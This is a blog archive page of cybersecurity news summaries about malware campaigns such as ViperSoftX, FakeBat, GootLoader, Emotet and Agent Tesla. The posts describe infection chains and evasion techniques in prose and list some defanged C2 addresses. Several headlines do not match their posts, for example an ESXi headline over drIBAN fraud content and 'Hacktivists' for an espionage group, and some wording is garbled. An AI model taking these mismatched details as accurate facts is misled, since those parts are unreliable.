Search This Blog
Powered by Blogger.

Blog Archive

Labels

Load More
Trendy Right Now

Popular Posts

Showing posts with label PowerShell. Show all posts
Software
ebooks Encryption malware PDF PowerShell Software

Improved ViperSoftX Malware Distributed Through eBooks

 



Researchers have found new advancements in the ViperSoftX info-stealing malware, which was first discovered in 2020. This malware has become more sophisticated, using advanced techniques to avoid detection. One of its new methods is using the Common Language Runtime (CLR) to run PowerShell commands within AutoIt scripts, which are spread through pirated eBooks. This clever approach helps the malware to hide within normal system activities, making it harder for security software to detect.

How ViperSoftX Spreads

ViperSoftX spreads through torrent sites by pretending to be eBooks. The infection starts when users download a RAR archive that includes a hidden folder, a deceptive shortcut file that looks like a harmless PDF or eBook, and a PowerShell script. The archive also contains AutoIt.exe and AutoIt script files disguised as simple JPG image files. When a user clicks the shortcut file, it sets off a series of commands, starting with listing the contents of “zz1Cover4.jpg.” These commands are hidden within blank spaces and executed by PowerShell, performing various malicious actions.

What the Malware Does

According to researchers from Trellix, the PowerShell code performs several tasks, such as unhiding the hidden folder, calculating the total size of all disk drives, and setting up Windows Task Scheduler to run AutoIt3.exe every five minutes after the user logs in. This ensures the malware remains active on infected systems. Additionally, the malware copies two files to the %APPDATA%MicrosoftWindows directory, renaming them to .au3 and AutoIt3.exe.

A sneaky aspect of ViperSoftX is its use of CLR to run PowerShell within AutoIt, a tool normally trusted by security software for automating Windows tasks. This allows the malware to avoid detection. ViperSoftX also uses heavy obfuscation, including Base64 encoding and AES encryption, to hide commands in the PowerShell scripts extracted from image decoy files. This makes it difficult for researchers and analysis tools to understand what the malware does.

Additionally, ViperSoftX tries to modify the Antimalware Scan Interface (AMSI) to bypass security checks. By using existing scripts, the malware developers can focus on improving their evasion tactics.

The malware's network activity shows it tries to blend its traffic with legitimate system activity. Researchers noticed it uses deceptive hostnames, like security-microsoft[.]com, to appear more trustworthy and trick victims into thinking the traffic is from Microsoft. Analysis of a Base64-encoded User-Agent string revealed detailed system information gathered from infected systems, such as disk volume serial numbers, computer names, usernames, operating system versions, antivirus product information, and cryptocurrency details.

Researchers warn that ViperSoftX is becoming more dangerous. Its ability to perform malicious actions while avoiding traditional security measures makes it a serious threat. As ViperSoftX continues to evolve, it's essential for users to stay alert and use strong security practices to protect their systems from such advanced threats.


Read more »
PowerShell
Cyber Security FakeBat malware loader Malvertising Campaign Malware Attack PowerShell

The Surge of FakeBat Malware in Search-Based Malvertising Campaigns

 

In recent months, cybersecurity researchers have observed a concerning surge in search-based malvertising campaigns, with documented incidents nearly doubling compared to previous periods. Amidst this uptick in online threats, one particular malware variant has captured the attention of experts: FakeBat. 

This malware employs unique techniques in its distribution, posing significant challenges to cybersecurity efforts worldwide. FakeBat has emerged as a significant player in malvertising campaigns, leveraging sophisticated tactics to deceive unsuspecting victims. Unlike conventional malware strains, FakeBat stands out for its utilization of MSIX installers bundled with heavily obfuscated PowerShell code. 

This innovative approach allows threat actors to orchestrate complex attacks while evading traditional detection methods. However, recent iterations of the malware have demonstrated a shift towards more advanced redirection tactics. Threat actors now leverage a variety of redirectors, including legitimate websites, to evade security measures and increase the effectiveness of their attacks. Traditionally, malvertising campaigns targeted specific software brands. 

However, the latest wave of FakeBat attacks has exhibited a notable shift towards diversification in campaign targets. Threat actors now aim to compromise a wide range of brands, expanding their scope and posing a greater threat to businesses and individuals alike. In addition to traditional URL shorteners, FakeBat malvertising campaigns now employ dual redirection tactics. 

While continuing to abuse URL/analytics shorteners, threat actors also leverage subdomains from compromised legitimate websites. By exploiting the credibility associated with these compromised domains, threat actors can circumvent detection mechanisms and increase the success rate of their attacks. Current FakeBat campaigns frequently impersonate reputable brands such as OneNote, Epic Games, Ginger, and the Braavos smart wallet application. 

These malicious domains are often hosted on Russian-based infrastructure, further complicating detection and mitigation efforts for cybersecurity professionals. Despite ongoing efforts to detect and mitigate FakeBat attacks, threat actors continue to evolve their tactics and payloads. Upon execution, a standardized PowerShell script connects to the attacker's command and control server, allowing threat actors to catalog victims for future exploitation. 

Defending against FakeBat and other search-based malvertising threats requires a multifaceted approach. While blocking malicious payloads is crucial, addressing supporting infrastructure poses significant challenges. Implementing robust ad-blocking policies, such as ThreatDown DNS Filter, can effectively thwart malvertising attacks at their source. 

However, organizations must remain vigilant and adapt their defense strategies to counter evolving threats continually. As search-based malvertising continues to evolve, businesses and individuals must remain proactive in their cybersecurity efforts. Understanding the nuances of emerging malware variants like FakeBat and adapting defense strategies accordingly is paramount to safeguarding digital assets against evolving threats. By leveraging tested mitigation measures and collaborating with industry partners, organizations can effectively mitigate the risks posed by search-based malvertising and protect against future cyberattacks.
Read more »
PowerShell
Cobalt Strike GootLoader JavaScript exploit malware PowerShell

Novel GootLoader Malware Strain Bypasses Detection and Spreads Quickly

 

GootBot, a new variant of the GootLoader malware, has been detected to enable lateral movement on compromised systems and avoid detection.

Golo Mühr and Ole Villadsen of IBM X-Force said that the GootLoader group introduced their own custom bot into the final stages of their attack chain in an effort to evade detection while employing commercial C2 tools like CobaltStrike or RDP.

"This new variant is a lightweight but effective malware allowing attackers to rapidly spread throughout the network and deploy further payloads," the researchers explained. 

As its name suggests, GootLoader is a malware that can lure in potential victims by employing search engine optimisation (SEO) poisoning techniques, and once inside, it can download more sophisticated malware. It is linked to a threat actor known as UNC2565, also tracked as Hive0127. 

The use of GootBot suggests a change in strategy from post-exploitation frameworks like CobaltStrike, with the implant being downloaded as a payload following a Gootloader infection.

GootBot, which is described as an obfuscated PowerShell script, is designed to connect to a WordPress website that has been compromised in order to take control of it and issue commands. The use of an alternate hard-coded C2 server for every deposited GootBot sample complicates matters even more and makes it challenging to block malicious traffic. 

"Currently observed campaigns leverage SEO-poisoned searches for themes such as contracts, legal forms, or other business-related documents, directing victims to compromised sites designed to look like legitimate forums where they are tricked into downloading the initial payload as an archive file," the researchers added.

An obfuscated JavaScript file included in the archive file is executed by a scheduled task to retrieve another JavaScript file for persistence. 

The second stage involves the engineering of JavaScript to execute a PowerShell script that collects system information and exfiltrates it to a remote server. The server then responds with another PowerShell script that runs indefinitely and gives the threat actor the ability to disperse different payloads. 

Among them is GootBot, which sends out beacons to its C2 server once every 60 seconds to retrieve PowerShell tasks to be executed and sends back HTTP POST requests to the server with the results of the execution. GootBot's other skills include reconnaissance and lateral movement, which let it effectively increase the attack's range.
Read more »
Vulnerabilities and Exploits
Patch Management Payload Injection PowerShell Ransomware attack Vulnerabilities and Exploits

Ransomware Actor Linked to Attacks Against Citrix NetScaler System

 

Unpatched Citrix NetScaler systems are compromised in domain-wide attacks by a threat actor believed to be linked with the FIN8 hacker organisation exploiting the CVE-2023-3519 remote code execution vulnerability. 

Sophos has been keeping an eye on this campaign since the middle of August, and it has learned that the threat actor executes payload injections, using BlueVPS for malware distribution, delivers obfuscated PowerShell scripts, and drops PHP webshells on victim machines. 

The similarities to another operation spotted earlier this summer by Sophos experts have led the analysts to conclude that the two actions are linked, with the threat actor specialising in ransomware attacks. 

CVE-2023-3519 is a critical-severity (CVSS score: 9.8) code injection vulnerability in Citrix NetScaler ADC and NetScaler Gateway that was identified in mid-July 2023 as an actively exploited zero-day. 

The vendor issued security upgrades to address the issue on July 18th. However, there was evidence that fraudsters were allegedly selling an exploit for the bug since at least July 6th, 2023. 

Shadowserver reported finding 640 webshells in an equivalent number of infected Citrix servers on August 2nd, and Fox-IT increased that total to 1,952 two weeks later. 

More than a month after the security upgrade became available in mid-August, approximately 31,000 Citrix NetScaler instances still had CVE-2023-3519 vulnerabilities, offering threat actors plenty of room for attacks. 

A threat actor identified by Sophos X-Ops as "STAC4663" is reportedly exploiting CVE-2023-3519, and the researchers believe that this is a part of the same campaign that Fox-IT previously reported on earlier this month. 

Analysis of the recent attacks' payload, which is injected into "wuauclt.exe" or "wmiprvse.exe," is still ongoing. However, Sophos believes that it is a link in a chain of ransomware attacks based on the attacker's profile. 

According to Sophos, the campaign is possibly linked to the FIN8 hacker gang, which was recently identified as delivering the BlackCat/ALPHV ransomware. This assumption and the link to the previous campaign of the ransomware actor are based on domain discovery, plink, BlueVPS hosting, unique PowerShell scripting, and the PuTTY Secure Copy [pscp]. 

Finally, the attackers employ a C2 IP address (45.66.248[.]189) for malware staging, as well as a second C2 IP address (85.239.53[.]49) that responds to the same C2 software as in the prior campaign. To assist defenders in detecting and stopping the attack, Sophos has published a list of IoCs (indicators of compromise) for this campaign on GitHub.
Read more »
zero-day
Anonymous Data Breach ICAN Italy Kali Linux PowerShell servers Software Trojan unauthorised access zero-day

Global Ransomware Attack Targets VMware ESXi Servers



Cybersecurity firms around the world have recently warned of an increase in cyberattacks, particularly those targeting corporate banking clients and computer servers. The Italian National Cybersecurity Agency (ACN) recently reported a global ransomware hacking campaign that targeted VMware ESXi servers, urging organisations to take action to protect their systems.

In addition, Italian cybersecurity firm Cleafy researchers Federico Valentini and Alessandro Strino reported an ongoing financial fraud campaign since at least 2019 that leverages a new web-inject toolkit called drIBAN. The main goal of drIBAN fraud operations is to infect Windows workstations inside corporate environments, altering legitimate banking transfers performed by the victims and transferring money to an illegitimate bank account.

These accounts are either controlled by the threat actors or their affiliates, who are then tasked with laundering the stolen funds. The fraudulent transactions are often realized by means of a technique called Automated Transfer System (ATS) that's capable of bypassing anti-fraud systems put in place by banks and initiating unauthorized wire transfers from a victim's own computer.

The operators behind drIBAN have become more adept at avoiding detection and developing effective social engineering strategies, in addition to establishing a foothold for long periods in corporate bank networks. Furthermore, there are indications that the activity cluster overlaps with a 2018 campaign mounted by an actor tracked by Proofpoint as TA554 targeting users in Canada, Italy, and the U.K.

Organisations need to be aware of these threats and take immediate action to protect their systems from cyberattacks. The ACN has reported that dozens of Italian organisations have been likely affected by the global ransomware attack and many more have been warned to take action to avoid being locked out of their systems.


Read more »
TTPs
Data Breach Malicious actor Mandiant Threat Intelligence PowerShell Ransomware Attacks. TTPs

Evolution of Gootkit Malware Using Obfuscations

Mandiant Managed Defense has reliably resolved GOOTLOADER infections since January 2021. When spreading GOOTLOADER, malicious actors cast a wide net, affecting a variety of industrial verticals and geographical areas.

Gootkit Malware

The Gootkit Trojan is Javascript-based malware that carries out a number of malicious tasks, such as authorizing threat actors remote access, recording video, capturing keystrokes, stealing emails, stealing passwords, and having the ability to inject malicious files to steal online banking login details.

Gootkit previously spread malware in the disguise of freeware installers, but now it deceives users into downloading these files by presenting them as legal documents. A user enters a search query into a search engine to begin the attack chain. 

Mandiant Managed Defense believes that UNC2565, a group it tracks, is the sole group that the GOOTLOADER virus and infrastructure belong to at this time. Due to these breaches' rapid detection and mitigation, Mandiant's observation of post-compromise GOOTLOADER activities has mostly been restricted to internal surveillance.

If the GOOTLOADER file is successfully executed, other payloads like FONELAUNCH and Cobalt Strike BEACON or SNOWCONE that are saved in the registry will be downloaded. Future phases include PowerShell being used to execute these payloads.

The. NET-based loader FONELAUNCH is intended to load an encoded payload into memory, while the downloader SNOWCONE is responsible for obtaining next-stage payloads, notably IcedID, through HTTP.

The primary aims of Gootkit have remained the same, however, the attack process has undergone substantial modifications. Currently, the JavaScript file contained in the ZIP archive is trojanized and contains a different JavaScript file that is obfuscated and then begins to execute the malware.

Furthermore, to avoid detection, the malware's creators allegedly used three distinct strategies to cloak Gootkit, including hiding the code inside modified versions of trustworthy JavaScript libraries like jQuery, Chroma.js, and Underscore.js. These modifications show how actively developing and expanding UNC2565's capabilities remain.


Read more »
RaaS
APT actors Chinese Hackers Command and Control(C2) Data Breach Encryption Log4Shell PowerShell RaaS

Cheerscrypt Spyware Attributed to Chinese APT Entity

The Emperor Dragonfly Chinese hacker group, notorious for frequently switching between several ransomware families to avoid detection, has been connected to the Cheerscrypt virus. 

The attacks were linked by the cybersecurity company Sygnia to a threat actor also dubbed Bronze Starlight and DEV-0401. The hacking gang seems to be a ransomware operation, but past research suggests that the Chinese government is interested in many of its victims.

Cheerscrypt is the most recent addition to a long range of ransomware families that the gang has previously used, including LockFile, Atom Silo, Rook, Night Sky, Pandora, and LockBit 2.0 in a little over a year.

Recently, Sygnia researched a Cheerscrypt ransomware operation that utilized Night Sky ransomware TTPs. The attackers then dropped a Cobalt Strike beacon linked to a C2 address formerly tied to Night Sky operations. 

The code for the Babuk ransomware, which was exposed online in June 2021, was used to develop the Cheerscrypt ransomware family, which Trend Micro first analyzed in May 2022. Cheerscrypt is one of several ransomware families used by the APT organization. The DEV-0401 group, unlike other ransomware gangs, oversees every stage of the assault chain directly, from the first access to the data theft. It does not rely on a system of affiliates.

A significant Log4Shell vulnerability in Apache Log4j was utilized by hackers in January 2022 assaults to acquire initial access to VMware Horizon servers. They subsequently dropped a PowerShell payload that was used to send an encrypted Cobalt Strike beacon. Apart from the beacon, the hackers also sent three Go-based tools: a keylogger that sent keystrokes to Alibaba Cloud, a customized version of the internet proxy tool iox, and the tunneling program NPS.

Trend Micro initially identified Cheerscrypt in May 2022, highlighting its capacity to target VMware ESXi servers as a component of a tried-and-true strategy known as double extortion to force its victims into paying the ransom or risk having their data exposed.

The hackers break into networks, take information, and encrypt devices just like other ransomware groups that target businesses. The victim is then coerced into paying a ransom through double-extortion methods using the data. The stolen data is posted on a data leak website when a ransom is not paid.

A PowerShell payload that can deliver an encrypted Cobalt Strike beacon has been dropped on VMware Horizon servers by infection chains that have exploited the major Log4Shell vulnerability in the Apache Log4j library.

Cheerscrypt and Emperor Dragonfly share initial access vectors, and lateral movement strategies, including the use of DLL side-loading to distribute the encrypted Cobalt Strike beacon. Notably, the ransomware gang is acting as a 'lone wolf' separated from the rest of the cybercrime community rather than as a RaaS (Ransomware-as-a-Service) platform for affiliates.






Read more »
ZIP files
Agent Tesla Cyber Crime Dark Web Encryption keylogger PowerShell Quantum User Privacy ZIP files

Hackers Deploy Agent Tesla Malware via Quantum Builder

A campaign promoting the long-standing.NET keylogger and remote access trojan (RAT) known as Agent Tesla uses a program that is available on the dark web that enables attackers to create harmful shortcuts for distributing malware. 

In the campaign that the experts observed, malicious hackers were using the developer to generate malicious LNK, HTA, and PowerShell payloads used to produce Agent Tesla on the targeted servers. The Quantum Builder also enables the creation of malicious HTA, ISO, and PowerShell payloads which are used to drop the next-stage malware. 

When compared to previous attacks, experts have found that this campaign has improved and shifted toward LNK, and Windows shortcut files. 

A spear-phishing email with a GZIP archive is swapped out for a ZIP file in a second round of the infection sequence, which also uses other obfuscation techniques to mask the harmful behavior. 

The shortcut to run PowerShell code that launches a remote HTML application (HTA) using MSHTA is the first step in the multi-stage attack chain. In turn, the HTA file decrypts and runs a different PowerShell loader script, which serves as a downloader for the Agent Tesla malware and runs it with administrative rights. 

Quantum Builder, which can be bought on the dark web for €189 a month, has recently witnessed an increase in its use, with threat actors utilizing it to disseminate various malware, including RedLine Stealer, IcedID, GuLoader, RemcosRAT, and AsyncRAT. 

Malicious hackers often change their tactics and use spyware creators bought and sold on the black market for crimes. This Agent Tesla effort is the most recent in a series of assaults in which harmful payloads were created using Quantum Builder in cyber campaigns against numerous companies. 

It features advanced evasion strategies, and the developers frequently upgrade these techniques. To keep its clients safe, the Zscaler ThreatLabz team would continue to track these cyberattacks. 

Agent Tesla, one of the most notorious keyloggers used by hackers, was shut down on March 4, 2019, due to legal issues. It is a remote access program built on the.NET platform, that has long existed in the cyber realm, enabling malicious actors to obtain remote access to target devices and transmit user data to a domain under their control. It has been in the public since 2014 and is promoted for sale on dark web forums. 

In a recent attack, OriginLogger, a malware that was hailed as the replacement for the well-known data theft and remote access trojan (RAT) noted as Agent Tesla, had its functioning dissected by Palo Alto Networks Unit 42.



Read more »
PowerShell
Command and Control(C2) Cyber Crime Cybereason Notepad2 Payloads PowerShell

Notepad++ Plugin Cyberattack Analysis

Analysts from the Cybereason GSOC team have examined a unique method that makes use of Notepad++ plugins to evade and persist against security safeguards on a computer.

This report, called Threat Analysis, is a part of a series titled "Purple Team Series" which analyzes current attack methods, how hackers use them, and how to spot when they are being utilized.

Threat Analysis Reports are published by the Cybereason Global Security Operations Center (GSOC) Team to provide information on emerging threats. These risks are examined in the Threat Analysis Reports, which also offer useful advice for defending against them.

Plugins are merely modules that are created specifically using programming languages like C# or installed from the community-maintained approved list. The %PROGRAMFILES%Notepad++plugins directory is where these plugins are kept.

Threat Analysis 

The organization stated in an advisory on Wednesday that a security researcher going by the moniker of RastaMouse successfully showed how to create a malicious plugin that can be used as a persistence mechanism using the open-source project Notepad++ Plugin Pack.

The plugin bundle alone is essentially a Visual Studio.NET package that offers a simple framework for creating plugins. However, advanced persistent threat (APT) organizations have in the past used Notepad++ plugins for evil.

According to the Cybereason advice, "The APT group StrongPity is known to exploit a genuine Notepad++ installer accompanied by malicious executables, enabling it to remain after a reboot on a PC."

The Cybereason team examined the Notepad++ plugin loading process and created an attack scenario based on it for their advisory.

A custom Notepad++ command can be activated by using the SCI ADDTEXT API in tandem with Notepad++. Researchers developed a DLL in C# that, upon pressing any key inside Notepad++ for the first time, will execute a PowerShell command.

The PowerShell command will run a Meterpreter payload in an expert attack scenario. To ensure that the availability of our C2 would not be impacted by repeated connection attempts, researchers set this to just run once.

According to the company, in their "attack scenario, the PowerShell command will execute a Meterpreter payload."

Cybereason successfully obtained administrative access to the compromised system by running Notepad++ as "administrator" and re-running the payload. Static analysis methods were able to extract signs such as the binary's architecture, compilation time, and programming language.

As a preventive measure, the Cybereason GSOC advises turning on the Detect and Prevent modes of the Anti-Malware feature on the Cybereason NGAV. Furthermore, security experts advised businesses to keep an eye on Notepad++'s odd child processes and pay attention to shell content kinds to mitigate the hazard.










Read more »
Vulnerabilities and Exploits
ESET HTTP Attacks Payload PowerShell Slovak Vulnerabilities and Exploits

Hacktivists Target Asian Government Organizations

 

An unknown espionage group called Worok that is active since late 2020 targets high-profile businesses and municipal governments with headquarters largely in Asia.

The cyber gang, originally identified as Worok by ESET experts, also has attacked targets in the Middle East and Africa.

Worok is alleged to have parallels with another antagonistic collective known as TA428 in terms of skills and goals. TA428 has been linked to attacks against military, government, and public sector organizations, as well as telecom, banking, maritime, and energy firms.

Worok's toolkit, according to ESET researcher Thibaut Passilly, "includes a C++ loader CLRLoad, a PowerShell backdoor PowHeartBeat, and a C# loader PNGLoad that employs steganography to extract concealed malicious payloads from PNG files."

Between May 2021 and January 2022, the group's malicious operations took a significant hiatus before picking back up the following month. The Slovak cybersecurity company determined that the group's objectives were compatible with identity theft.

In certain cases, ProxyShell exploits were used to gain an initial foothold on target networks until 2021 and 2022. Additional custom backdoors were then introduced for entrenched access. Other initial compromise approaches are not yet known.

Infection chains in 2022 have now abandoned CLRLoad in favor of PowHeartBeat, a fully functional PowerShell implant that launches PNGLoad and communicates with a remote server via HTTP or ICMP to carry out associated file operations, transmit and receive files, and execute arbitrary commands.

​"In such situations, webshells have often been uploaded after these vulnerabilities have been exploited on order to enable persistence in the victim's network. The operators then utilized a variety of implants to obtain more capabilities, "Passilly continued.

ESET discovered a new PowerShell backdoor called PowHeartBeat, which has replaced CLRLoad in instances recorded since February 2022 as the tool designed to launch PNGLoad on infected systems. However, it has not yet been able to recover one of the final payloads delivered in the group's attacks.

A cyber espionage organization called Worok compromises its targets using both custom-built tools and techniques that already exist.

We believe the attackers are after information theft from their victims as they target high-profile organisations in Asia and Africa, focusing on diverse sectors, both private and public, but with a particular emphasis on government entities.

Read more »
Russian Hackers
Cisco Command and Control(C2) Crypto Mining Data Breach PowerShell RedLine Stealer Russian Hackers

Hacker's Spread ModernLoader, XMRig Miner Malware

 


During March and June 2022, Cisco Talos researchers discovered three distinct but connected campaigns that were spreading various malware to victims, including the ModernLoader bot, RedLine info-stealer, and cryptocurrency miners.

The hackers spread over a targeted network via PowerShell,.NET assemblies, HTA, and VBS files before releasing further malware, like the SystemBC trojan and DCRat, to enable different stages of its exploits, according to a report by Cisco Talos researcher Vanja Svajcer.

Cisco Talos further said that the infections were caused by a previously unidentified but Russian-speaking spyware, that used commercial software. Users in Bulgaria, Poland, Hungary, and Russia were among the potential targets. 

The first stage payload is an HTML Application (HTA) file that executes a PowerShell script stored on the command-and-control (C2) server to start the deployment of interim payloads that eventually use a method known as process hollowing to inject the malware.

ModernLoader (also known as Avatar bot), a straightforward.NET remote access trojan, has the ability to download and run files from the C2 server, run arbitrary instructions, acquire system information, and alter modules in real-time. 

Additionally, the actors dispersed across a targeted network using PowerShell,.NET assemblies, HTA, and VBS files before releasing additional malware, such as the SystemBC trojan, and DCRAT, to carry out various operations related to their activities.

It is challenging to identify a specific adversary behind this behavior because the attackers used various commercially available tools, according to Cisco Talos.

Despite the lack of clarity surrounding attribution, the business reported that threat actors used ModernLoader as the final payload in all three campaigns. This payload then functioned as a remote access trojan (RAT) by gathering system data and delivering further modules.

In addition, two older attacks from March 2022 were discovered by Cisco's analysis. These campaigns use ModerLoader as its principal malware C2 communication tool and also spread other malware, such as XMRig, RedLine Stealer, SystemBC, DCRat, and a Discord token stealer, among others. 

Days prior to the publication of the piece, the corporation hosted a webinar in which it reaffirmed its cybersecurity support for Ukraine in honor of the nation's Independence Day.
Read more »
User Privacy
Cobalt Strike Malicious Payloads malware PowerShell SEO User Privacy

Gootkit Loader: Targets Victims via Flawed SEO Tactics

 

Gootkit previously concealed dangerous files using freeware installers and now, it is deceiving users to download these files by engineering them as lawful documents. Looking at a flag for a PowerShell script, researchers were able to stop it from doing any harm and from delivering its payload. This approach was discovered through managed extended detection and response (MxDR). 

In order to compromise unwary users, the creators of the Gootkit access-as-a-service (AaaS) virus have reemerged. Gootkit has a history of disseminating threats including the SunCrypt ransomware, REvil (Sodinokibi) malware, Kronos trojans, and Cobalt Strike via fileless tactics.

The discoveries add to a prior report by eSentire, which stated in January that numerous attacks targeted the staff of accounting and law companies to propagate malware on compromised systems.

Gootkit is a tool of the rising underground ecosystem of access brokers, who are well-known for charging money to provide other hackers access to corporate networks, opening the door for real destructive operations like ransomware.
 
Upgraded Tactics

A search engine user initiates the attack chain by entering a specific query. A website infiltrated by Gootkit operators is displayed among the results using a black SEO method used by hackers.

The website is presented to the victim as an online forum that answers his question directly when they visit it. The malicious.js code, which is used to create persistence and inject a Cobalt Strike binary into the target system's memory, was housed in a ZIP download that was made available by this forum.

"The obfuscated script that was run when the user downloaded and accessed this file used registry stuffing to install a section of encrypted codes in the registry and add scheduled tasks for persistence. Then, utilizing PowerShell's reflective loading of the encrypted registry code, the Cobalt Strike binary that runs entirely in memory was rebuilt," reads Trend Micro's analysis.

Experts drew attention to the fact that proprietary text replacement technology has replaced base64 encoding in encrypted registries.

The Cobalt Strike binary loaded straight into the victim's system's RAM has been seen connecting to the Cobalt Strike C2's IP address, which is 89[.]238[.]185[.]13. The major payload of Cobalt Strike, a tool used for post-exploitation actions, is the beacon component.

Defensive measures

This case demonstrates,  that Gootkit is still active and developing its methods. This danger demonstrates that SEO poisoning continues to be a successful strategy for enticing unwary users. 

User security awareness training, which tries to enable people to identify and defend themselves against the most recent risks, is something that organizations can do to help. 

This incident emphasizes the value of round-the-clock supervision. Notably, cross-platform XDR stopped this assault from getting worse since it allowed us to rapidly isolate the compromised system and prevent the threat from causing more harm to the network.
Read more »
Telegram
Cybersecurity HTML Info Stealer malware PowerShell Telegram

XFiles Malware Exploits Follina, Expands ItsAttacks

What is XFiles?

The X-Files info stealer malware has put a new vulnerability in its systems to exploit CVE-2022-30190- Follina, and attack targeted systems with malicious payloads. A cybersecurity firm said that the new malware uses Follina to deploy the payload, run it, and take control of the targeted computer. "In the case of the XFiles malware, researchers at Cyberint noticed that recent campaigns delivering the malware use Follina to download the payload, execute it, and also create persistence on the target machine," says Bleeping Computers.  

How is Follina infected? 

•The malware, sent in the victims' spam mail, consists of an OLE object that directs to an HTML file on an external resource that has JavaScript code, which exploits Follina. 

•After the code is executed, it gets a base64-encoded string that contains PowerShell commands to make a presence in the Windows startup directory and deploy the malware. 

•The second-stage module, "ChimLacUpdate.exe," consists of an AES decryption key and a hard-coded encryption shellcode. An API call decodes it and deploys it in the same running process. 

•After infection, XFiles starts normal info stealer malware activities like targeting passwords and history stored in web browsers, cookies, taking screenshots, and cryptocurrency wallets, and look for Telegram and Discord credentials. 

•The files are locally stored in new directories before they are exfiltrated via Telegram. 

The XFiles is becoming more active 

• A cybersecurity agency said that XFiles has expanded by taking in new members and initiating new projects. 

• A project launched earlier this year by Xfiles is called the 'Punisher Miner.' 

• However, it's an irony that a new mining tool will charge $9, the same as how much XFiles costs for a month of renting the info stealer. 

CyWare Social says "it appears that the XFiles gang is expanding and becoming more prolific. The gang is recruiting talented malware authors, becoming stronger, and thus providing their users with more readymade tools that do not require experience or coding knowledge. Successful incorporation of the Follina-exploiting document increases the chances of infection and consequently increases the success rate of attacks."
Read more »
Trojan Attacks
BitRAT Crypto Currency Fortnite malware Microsoft Excel Phishing and Spam PowerShell Trojan Attacks

Three Malware Fileless Phishing Campaigns: AveMariaRAT / BitRAT /PandoraHVNC

 

A phishing effort that was distributing three fileless malware onto a victim's device was detailed by cybersecurity experts at Fortinet's FortiGuard Labs. AveMariaRAT, BitRAT, and PandoraHVNC trojan viruses are spread by users who mistakenly run malicious attachments delivered in phishing emails. The viruses are dangerously capable of acquiring critical data from the device.
 
Cybercriminals can exploit the campaign to steal usernames, passwords, and other sensitive information, such as bank account numbers. BitRAT is particularly dangerous to victims because it can take complete control of infected Windows systems, including viewing webcam activity, listening to audio through the microphone, secretly mining for cryptocurrency that is sent to the attackers' wallet, and downloading additional malicious files.

The first phishing mail appears to be a payment report from a reputable source, with a brief request to view a linked Microsoft Excel document. This file contains dangerous macros, and when you open it, Microsoft Excel warns you about using macros. If the user disregards the warning and accepts the file, malware is downloaded. The malware is retrieved and installed onto the victim's computer using Visual Basic Application (VBA) scripts and PowerShell. For the three various types of malware that can be installed, the PowerShell code is divided into three pieces. This code is divided into three sections and employs the same logic for each virus: 
  • A dynamic mechanism for conducting GZip decompression is included in the first "$hexString." 
  • The second "$hexString" contains dynamic PowerShell code for decompressing the malware payload and an inner.Net module file for deploying it. 
  • The GZip-compressed malware payload is contained in the "$nona" byte array. The following PowerShell scripts are retrieved from the second $hexString and are used to decompress the malware payload in $nona and to deploy the malware payload into two local variables using the inner.Net module. 
The study doesn't explain as to why the phishing email contains three malware payloads, but it's conceivable that with three different types of malware to deploy, the cybercriminals will have a better chance of gaining access to whatever critical information they're after. 

Phishing is still one of the most prevalent ways for cyber thieves to deliver malware because it works – but there are steps you can take to avoid being a victim. Mysterious emails claiming to offer crucial information buried in attachments should be avoided, especially if the file requires users to allow macros first. Using suitable anti-spam and anti-virus software and training workers on how to recognize and report phishing emails, businesses may help workers avoid falling victim to phishing emails.
Read more »
Spam
Banking Trojan Cyber Attacks Cyberattacks DHL Express DLL load hijacking Emotet Kaspersky malspam Outlook PayPal PowerShell Spam

Emotet : The Infamous Botnet Has Returned

 

Kaspersky researchers were able to retrieve and analyze 10 out of 16 modules, with most having been used by Emotet in the past in one form or another. Kaspersky Lab was created in 1997 as multinational cybersecurity and digital privacy organization. Kaspersky's deep risk intelligence and security expertise are continually evolving into new security solutions and services to safeguard enterprises, vital infrastructure, governments, and consumers all around the world. 

Emotet was discovered in the wild for the first time in 2014. Its major purpose back then was to steal user's financial credentials. Since then, it has gone through several modifications, began transmitting other viruses, and eventually evolved into a strong botnet. Emotet is a type of malware classified as banking Trojans. Malspam, or spam emails with malware, is the most common way for it to propagate. To persuade users, these communications frequently contain familiar branding, imitating the email structure of well-known and trustworthy companies such as PayPal or DHL. 

As per Kaspersky telemetry, the number of victims increased from 2,843 in February 2022 to 9,086 in March 2022, indicating the attackers targeted more than three times the number of users. As a result, the number of threats detected by Kaspersky solutions has increased, from 16,897 in February 2022 to 48,597 in March 2022. 

A typical Emotet infection starts with spam e-mails containing malicious macros in Microsoft Office attachments. The actor can use this macro to launch a malicious PowerShell command which will drop and start a module loader, which will then talk with a command and control server to download and start modules. In the percent Windows percent SysWOW64 or percent User percent AppDataLocal directory, Emotet creates a subfolder with a random name and replicates itself under a completely random name and extension. The exported Control RunDLL method is used to launch the Emotet DLL's primary activity. These modules can be used to carry out a range of actions on the infected computer. Kaspersky researchers were able to extract and evaluate 10 of the 16 modules, the majority of which had previously been utilized by Emotet. 

Researchers now state that the Emotet can download 16 modules judging by the recent Emotet protocol and C2 answers. They were able to recover ten of them (including two separate copies of the Spam module), which were utilized by Emotet to steal credentials, passwords, accounts, and e-mail addresses, as well as spam. We present a brief examination of these modules and also statistics on current Emotet attacks in this post. 

To gather the account details of various email clients, the current version of Emotet can create automated spam campaigns which are further spread down the network from infected devices, retrieving emails and email addresses from Thunderbird and Outlook apps and accumulating passwords from popular web browsers like Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera. 

Emotet infects computers in businesses and homes all around the world. As per our telemetry, Emotet most frequently targeted users from the following countries in Q1 2022: Italy (10.04%), Russia (9.87%), Japan (8.55%), Mexico (8.36%), Brazil (6.88%), Indonesia (4.92%), India (3.21%), Vietnam (2.70%), China (2.62), Germany (2.19%) and Malaysia (2.13%). 

The present set of components is capable of a wide range of malicious activities, including stealing e-mails, passwords, and login data from a variety of sources, as well as spamming. Except for the Thunderbird components, Emotet has utilized all of these modules in some form or another before. However, there are still a few modules that we haven't been able to get our hands-on.
Read more »
Windows
C2C Cyber Security DLL PDF Exploits PowerShell SEO Windows

The Wizard of Deception: Jupyter Infostealer

 

Researchers recently discovered a new variant of SolarMarker, a malware family which is mostly transmitted using SEO manipulation to persuade people into downloading malicious documents. SolarMarker uses defense evasion to extract auto-fill data, saved passwords, and stored credit card information from victims' web browsers. It offers extra features which are unusual to be seen in info stealers, such as file transfer and command execution from a C2 server.

